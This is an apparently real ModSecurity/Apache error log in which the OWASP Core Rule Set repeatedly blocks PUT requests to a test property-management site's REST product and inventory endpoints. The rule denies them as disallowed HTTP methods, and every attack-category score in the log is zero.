[Wed Nov 16 16:34:58.131972 2022] [:error] [pid 3066850] [client 79.50.106.79:63463] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UDIrvplJyXdgehhjBD1gAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:34:58.133574 2022] [:error] [pid 3066850] [client 79.50.106.79:63463] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UDIrvplJyXdgehhjBD1gAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:34:58.133758 2022] [:error] [pid 3066850] [client 79.50.106.79:63463] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UDIrvplJyXdgehhjBD1gAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:50:46.054860 2022] [:error] [pid 3066832] [client 79.50.106.79:64041] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UG1gP5cID5RWuBgvahjAAAAA0&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:50:46.056553 2022] [:error] [pid 3066832] [client 79.50.106.79:64041] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UG1gP5cID5RWuBgvahjAAAAA0&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:50:46.056726 2022] [:error] [pid 3066832] [client 79.50.106.79:64041] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UG1gP5cID5RWuBgvahjAAAAA0&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:50:46.057457 2022] [:error] [pid 3066834] [client 79.50.106.79:64045] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UG1qGN8oVzFm5feQ6S3gAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:50:46.058825 2022] [:error] [pid 3066834] [client 79.50.106.79:64045] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UG1qGN8oVzFm5feQ6S3gAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:50:46.058974 2022] [:error] [pid 3066834] [client 79.50.106.79:64045] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UG1qGN8oVzFm5feQ6S3gAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:56:48.048728 2022] [:error] [pid 3056937] [client 79.50.106.79:64638] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UIQLVrfYiC6Hkc-QnDQgAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:56:48.050412 2022] [:error] [pid 3056937] [client 79.50.106.79:64638] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UIQLVrfYiC6Hkc-QnDQgAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:56:48.050591 2022] [:error] [pid 3056937] [client 79.50.106.79:64638] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UIQLVrfYiC6Hkc-QnDQgAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:56:48.057647 2022] [:error] [pid 3064141] [client 79.50.106.79:64639] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UIQMs62Xc3wODMm1esRQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:56:48.059836 2022] [:error] [pid 3064141] [client 79.50.106.79:64639] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UIQMs62Xc3wODMm1esRQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:56:48.060037 2022] [:error] [pid 3064141] [client 79.50.106.79:64639] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UIQMs62Xc3wODMm1esRQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:56:59.907767 2022] [:error] [pid 3066850] [client 79.50.106.79:64650] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UIS7vplJyXdgehhjBD3wAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=633595cbaa53d5fcfd2a19f5
[Wed Nov 16 16:56:59.908769 2022] [:error] [pid 3066850] [client 79.50.106.79:64650] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UIS7vplJyXdgehhjBD3wAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=633595cbaa53d5fcfd2a19f5
[Wed Nov 16 16:56:59.908931 2022] [:error] [pid 3066850] [client 79.50.106.79:64650] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UIS7vplJyXdgehhjBD3wAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=633595cbaa53d5fcfd2a19f5
[Wed Nov 16 16:56:59.911174 2022] [:error] [pid 3067503] [client 79.50.106.79:64649] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/633595cbaa53d5fcfd2a19f5&quot;] [unique_id &quot;Y3UIS-DPbGhz0AyC-1jBCwAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=633595cbaa53d5fcfd2a19f5
[Wed Nov 16 16:56:59.912276 2022] [:error] [pid 3067503] [client 79.50.106.79:64649] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/633595cbaa53d5fcfd2a19f5&quot;] [unique_id &quot;Y3UIS-DPbGhz0AyC-1jBCwAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=633595cbaa53d5fcfd2a19f5
[Wed Nov 16 16:56:59.912437 2022] [:error] [pid 3067503] [client 79.50.106.79:64649] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/633595cbaa53d5fcfd2a19f5&quot;] [unique_id &quot;Y3UIS-DPbGhz0AyC-1jBCwAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=633595cbaa53d5fcfd2a19f5
[Wed Nov 16 16:58:19.614678 2022] [:error] [pid 3067496] [client 79.50.106.79:64790] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UIm5L5ePKtVxmWWKoU4wAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:58:19.617083 2022] [:error] [pid 3067496] [client 79.50.106.79:64790] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UIm5L5ePKtVxmWWKoU4wAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:58:19.617293 2022] [:error] [pid 3067496] [client 79.50.106.79:64790] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UIm5L5ePKtVxmWWKoU4wAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:58:19.619009 2022] [:error] [pid 3066822] [client 79.50.106.79:64791] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UIm57x8d0b9bXYqxYz4wAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:58:19.620365 2022] [:error] [pid 3066822] [client 79.50.106.79:64791] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UIm57x8d0b9bXYqxYz4wAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 16:58:19.620500 2022] [:error] [pid 3066822] [client 79.50.106.79:64791] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UIm57x8d0b9bXYqxYz4wAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:02:00.763338 2022] [:error] [pid 3064782] [client 79.50.106.79:65241] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UJeJxMteM6atk@eiFaLAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
